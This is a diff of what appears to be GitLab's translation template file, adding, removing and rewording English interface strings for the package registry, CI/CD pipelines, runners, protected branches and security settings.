@@ -24310,6 +24010,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24340,6 +24046,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24532,9 +24244,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24739,10 +24448,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24754,9 +24463,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24766,16 +24472,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24895,10 +24607,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24916,12 +24628,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -25033,9 +24751,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -25186,13 +24901,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -25237,10 +24952,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -25252,6 +24967,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25864,6 +25585,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -26149,9 +25873,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -26179,6 +25900,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -26191,9 +25915,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -26242,15 +25963,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -26299,9 +26014,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26917,9 +26629,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26935,9 +26644,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -27022,21 +26728,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -27052,18 +26755,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -27079,9 +26773,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -27094,6 +26785,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -27109,7 +26803,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -27118,6 +26812,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -27127,9 +26824,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -27148,9 +26842,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -27274,13 +26965,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -27301,12 +26995,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27316,6 +27019,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27325,12 +27031,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27376,18 +27085,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27796,6 +27517,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27823,6 +27547,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -28006,6 +27733,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -28021,15 +27751,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -28045,9 +27769,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -28195,15 +27916,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -28213,15 +27937,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28645,6 +28360,9 @@ msgstr[5] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28795,12 +28513,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28816,9 +28528,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28921,6 +28630,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28930,9 +28642,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28999,12 +28708,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -29014,6 +28732,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -29023,9 +28744,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -29038,9 +28768,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -29083,12 +28819,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -29119,6 +28861,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -29197,6 +28945,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -29248,10 +29002,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -29284,6 +29035,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -29335,6 +29089,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29419,9 +29176,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29596,12 +29350,6 @@ msgstr[5] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29668,6 +29416,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29689,6 +29440,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29698,6 +29452,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29722,9 +29482,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29734,12 +29503,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29752,7 +29530,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29761,6 +29542,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29773,6 +29560,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29785,7 +29593,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29848,6 +29656,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29953,6 +29764,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -30055,9 +29869,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -30088,9 +29899,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -30193,9 +30010,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -30289,7 +30103,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -30328,10 +30142,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30373,9 +30187,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30418,6 +30229,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30508,6 +30322,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30688,9 +30505,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30715,6 +30529,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30739,9 +30556,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30769,9 +30583,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30805,12 +30616,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30865,6 +30670,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -31198,9 +31006,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -31303,6 +31108,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31369,12 +31177,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31408,9 +31210,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31453,9 +31252,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31507,6 +31303,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31525,6 +31324,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31627,15 +31429,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31852,12 +31645,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
